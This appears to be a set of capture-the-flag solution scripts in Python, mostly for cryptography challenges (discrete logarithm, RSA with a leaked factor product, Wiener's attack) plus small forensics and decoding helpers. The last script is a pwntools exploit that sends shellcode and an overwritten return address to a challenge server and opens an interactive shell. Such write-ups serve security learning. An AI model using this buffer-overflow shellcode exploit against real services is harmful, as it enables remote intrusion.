from Crypto.Util.number import *

from random import *

flag=b'key{xxxxxxx}'

m=bytes_to_long(flag)

p=3006156660704242356836102321001016782090189571028526298055526061772989406357037170723984497344618257575827271367883545096587962708266010793826346841303043716776726799898939374985320242033037

g=3

c=pow(g,m,p)

print(f'c=',c)

    c=2253565561143760792334512129664721558389652360283869919781040673562790797442214510219594286692887815068304926805836174262275347087135150894599629786923362784354321271799896941439805091639376

from Crypto.Util.number import *

import sympy

import binascii

m = 3

c=2253565561143760792334512129664721558389652360283869919781040673562790797442214510219594286692887815068304926805836174262275347087135150894599629786923362784354321271799896941439805091639376

p=3006156660704242356836102321001016782090189571028526298055526061772989406357037170723984497344618257575827271367883545096587962708266010793826346841303043716776726799898939374985320242033037

flag = sympy.discrete_log(p, c, m)

print(long_to_bytes(flag))

# b'key{lLNYs7}'

import gmpy2

p = 173834522485366574285361213529180163119

q = 122713369465742269313197063464523776107

e = 65537

d = gmpy2.invert(e, (p - 1) * (q - 1))

print(d)

# 15100911795189740543592377616991756144840586906302883747149248640494852701369

from Crypto.Util.number import *

flag = b'qsnctf{xxx-xxxx-xxxx-xxxx-xxxxxxxxx}'

m = bytes_to_long(flag)

p = getPrime(512)

q = getPrime(512)

r = getPrime(512)

n = p * q * r

leak = p * q

e = 0x10001

c = pow(m, e, n)

print(f'c = {c}')

print(f'n = {n}')

print(f'leak = {leak}')

# c = 173595148273920891298949441727054328036798235134009407863895058729356993814829340513336567479145746034781201823694596731886346933549577879568197521436900228804336056005940048086898794965549472641334237175801757569154295743915744875800647234151498117718087319013271748204766997008772782882813572814296213516343420236873651060868227487925491016675461540894535563805130406391144077296854410932791530755245514034242725719196949258860635915202993968073392778882692892

# n = 1396260492498511956349135417172451037537784979103780135274615061278987700332528182553755818089525730969834188061440258058608031560916760566772742776224528590152873339613356858551518007022519033843622680128062108378429621960808412913676262141139805667510615660359775475558729686515755127570976326233255349428771437052206564497930971797497510539724340471032433502724390526210100979700467607197448780324427953582222885828678441579349835574787605145514115368144031247

# leak = 152254254502019783796170793516692965417859793325424454902983763285830332059600151137162944897787532369961875766745853731769162511788354655291037150251085942093411304833287510644995339391240164033052417935316876168953838783742499485868268986832640692657031861629721225482114382472324320636566226653243762620647

import gmpy2

from Crypto.Util.number import long_to_bytes

c = 173595148273920891298949441727054328036798235134009407863895058729356993814829340513336567479145746034781201823694596731886346933549577879568197521436900228804336056005940048086898794965549472641334237175801757569154295743915744875800647234151498117718087319013271748204766997008772782882813572814296213516343420236873651060868227487925491016675461540894535563805130406391144077296854410932791530755245514034242725719196949258860635915202993968073392778882692892

n = 1396260492498511956349135417172451037537784979103780135274615061278987700332528182553755818089525730969834188061440258058608031560916760566772742776224528590152873339613356858551518007022519033843622680128062108378429621960808412913676262141139805667510615660359775475558729686515755127570976326233255349428771437052206564497930971797497510539724340471032433502724390526210100979700467607197448780324427953582222885828678441579349835574787605145514115368144031247

leak = 152254254502019783796170793516692965417859793325424454902983763285830332059600151137162944897787532369961875766745853731769162511788354655291037150251085942093411304833287510644995339391240164033052417935316876168953838783742499485868268986832640692657031861629721225482114382472324320636566226653243762620647

r = n//leak

e = 0x10001

# print(r)

d = gmpy2.invert(e,(r - 1))

# print(d)

m = pow(c, d, r)

flag = long_to_bytes(m)

print(flag)

# b'qsnctf{12ff81e0-7646-4a96-a7eb-6a509ec01c9e}'

import gmpy2

import hashlib

from Crypto.Util.number import *

p = getPrime(512)

q = getPrime(512)

d = getPrime(256)

e = gmpy2.invert(d, (p**2 - 1) * (q**2 - 1))

flag = "qsnctf{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"

print(e)

print(p * q)

# 4602579741478096718172697218991734057017874575484294836043557658035277770732473025335441717904100009903832353915404911860888652406859201203199117870443451616457858224082143505393843596092945634675849883286107358454466242110831071552006337406116884147391687266536283395576632885877802269157970812862013700574069981471342712011889330292259696760297157958521276388120468220050600419562910879539594831789625596079773163447643235584124521162320450208920533174722239029506505492660271016917768383199286913178821124229554263149007237679675898370759082438533535303763664408320263258144488534391712835778283152436277295861859

# 78665180675705390001452176028555030916759695827388719494705803822699938653475348982551790040292552032924503104351703419136483078949363470430486531014134503794074329285351511023863461560882297331218446027873891885693166833003633460113924956936552466354566559741886902240131031116897293107970411780310764816053

import gmpy2

import hashlib

def transform(x,y):       #使用辗转相处将分数 x/y 转为连分数的形式

    res=[]

    while y:

        res.append(x//y)

        x,y=y,x%y

    return res

def continued_fraction(sub_res):

    numerator,denominator=1,0

    for i in sub_res[::-1]:      #从 sublist 的后面往前循环

        denominator,numerator=numerator,i*numerator+denominator

    return denominator,numerator   #得到渐进分数的分母和分子，并返回

#求解每个渐进分数

def sub_fraction(x,y):

    res=transform(x,y)

    res=list(map(continued_fraction,(res[0:i] for i in range(1,len(res)))))  #将连分数的结果逐一截取以求渐进分数

    return res

def get_pq(a,b,c):      #由 p+q 和 pq 的值通过维达定理来求解 p 和 q

    par=gmpy2.isqrt(b*b-4*a*c)   #由上述可得，开根号一定是整数，因为有解

    x1,x2=(-b+par)//(2*a),(-b-par)//(2*a)

    return x1,x2

def wienerAttack(e,n):

    for (d,k) in sub_fraction(e,n):  #用一个 for 循环来注意试探 e/n 的连续函数的渐进分数，直到找到一个满足条件的渐进分数

        if k==0:                     #可能会出现连分数的第一个为 0 的情况，排除

            continue

        if (e*d-1)%k!=0:             #ed=1 (mod φ(n)) 因此如果找到了 d 的话，(ed-1) 会整除 φ(n), 也就是存在 k 使得 (e*d-1)//k=φ(n)

            continue

        phi=(e*d-1)//k               #这个结果就是 φ(n)

        px,qy=get_pq(1,n-phi+1,n)

        if px*qy==n:

            pp,qq=abs(int(px)),abs(int(qy))  

            flag = "qsnctf{" + hashlib.md5(str(gmpy2.isqrt(qq) + gmpy2.isqrt(pp)).encode()).hexdigest() + "}"

            #print(flag)

            return flag

    print("该方法不适用")

e = 4602579741478096718172697218991734057017874575484294836043557658035277770732473025335441717904100009903832353915404911860888652406859201203199117870443451616457858224082143505393843596092945634675849883286107358454466242110831071552006337406116884147391687266536283395576632885877802269157970812862013700574069981471342712011889330292259696760297157958521276388120468220050600419562910879539594831789625596079773163447643235584124521162320450208920533174722239029506505492660271016917768383199286913178821124229554263149007237679675898370759082438533535303763664408320263258144488534391712835778283152436277295861859

n = 78665180675705390001452176028555030916759695827388719494705803822699938653475348982551790040292552032924503104351703419136483078949363470430486531014134503794074329285351511023863461560882297331218446027873891885693166833003633460113924956936552466354566559741886902240131031116897293107970411780310764816053

flag = wienerAttack(e,n*n)

print(flag)

# qsnctf{8072e8b2982bc729cc74ef58f1abc862}

import re

input_filename = '1.txt'

output_filename = 'output_filename.zip'

with open(input_filename, 'r') as file:

    hex_data = file.read()

binary_data = bytearray()

for match in re.findall(r'([0-9a-fA-F]{2}(?: [0-9a-fA-F]{2})+)', hex_data):

    binary_data.extend(bytearray.fromhex(match))

with open(output_filename, 'wb') as binary_file:

    binary_file.write(binary_data)

import torch

pthfile = r'G:\sictf\123\easy.pth'  # .pth 文件的路径

model = torch.load(pthfile, torch.device('cpu'))  # 设置在 cpu 环境下查询

print('type:')

print(type(model))  # 查看模型字典长度

print('length:')

print(len(model))

print('key:')

for k in model.keys():  # 查看模型字典里面的 key

    print(k)

print('value:')

for k in model:  # 查看模型字典里面的 value

    print(k, model[k])

import base64

import binascii

import string

flag =[ 76, 105, 100,  85,  74,  51, 102,  81,  77,  50,  70,  86,

         74, 111, 120, 112,  68, 119,  76, 118,  68, 121,  70,  51,

         68, 119, 112,  80, 100, 119, 120,  79,  69, 103,  98,  81,

         74, 111, 120, 110,  69, 103, 100, 110,  74, 103, 110, 111,

        106, 111,  90,  53, 109,  70]

hint =[ 90, 122,  89, 121,  88, 120,  65,  97,  66,  98,  67,  99,

         68, 100,  69, 101,  70, 102,  71, 103,  72, 104,  73, 105,

         74, 106,  75, 107,  76, 108,  77, 109,  78, 110,  79, 111,

         80, 112,  81, 113,  82, 114,  83, 115,  84, 116,  85, 117,

         86, 118,  87, 119,  48,  49,  50,  51,  52,  53,  54,  55,

         56,  57,  43,  47]

s = []

for i in range(len(flag)):

    s.append(chr(flag[i]))

s1 = ''.join(s)

k = []

for i in range(len(hint)):

    k.append(chr(hint[i]))

k1 = ''.join(k)

tableBase64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

translated_s1 = s1.translate(str.maketrans(k1, tableBase64))

# 为了处理填充问题，计算缺少的填充字符数量

padding = len(translated_s1) % 4

if padding != 0:  # 如果不是 4 的倍数，添加缺少的 '='

    translated_s1 += "=" * (4 - padding)

from LibcSearcher import *

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

r = remote('challenge.qsnctf.com',30991)

se      = lambda data               : r.send(data)

sa      = lambda delim, data         : r.sendafter(delim, data)

sl      = lambda data               : r.sendline(data)

sla     = lambda delim, data         : r.sendlineafter(delim, data)

sea     = lambda delim, data         : r.sendafter(delim, data)

rc      = lambda numb=4096          : r.recv(numb)

rl      = lambda                    : r.recvline()

ru      = lambda delims             : r.recvuntil(delims)

uu32    = lambda data               : u32(data.ljust(4, b'\0'))

uu64    = lambda data               : u64(data.ljust(8, b'\0'))

lic     = lambda data               : uu64(ru(data)[-6:])

pack    = lambda str, addr          : p32(addr)

padding = lambda length             : b'Yhuan' * (length // 5) + b'Y' * (length % 5)

it      = lambda                    : r.interactive()

dz = int(rc(14)[2:].decode(),16)

print(dz)

# gdb.attach(r)

payload = asm(shellcraft.sh())

print(len(payload))

payload += b'a'*(0x108-48)

print(len(payload))

payload += p64(dz)

sl(payload)

# pause()

it()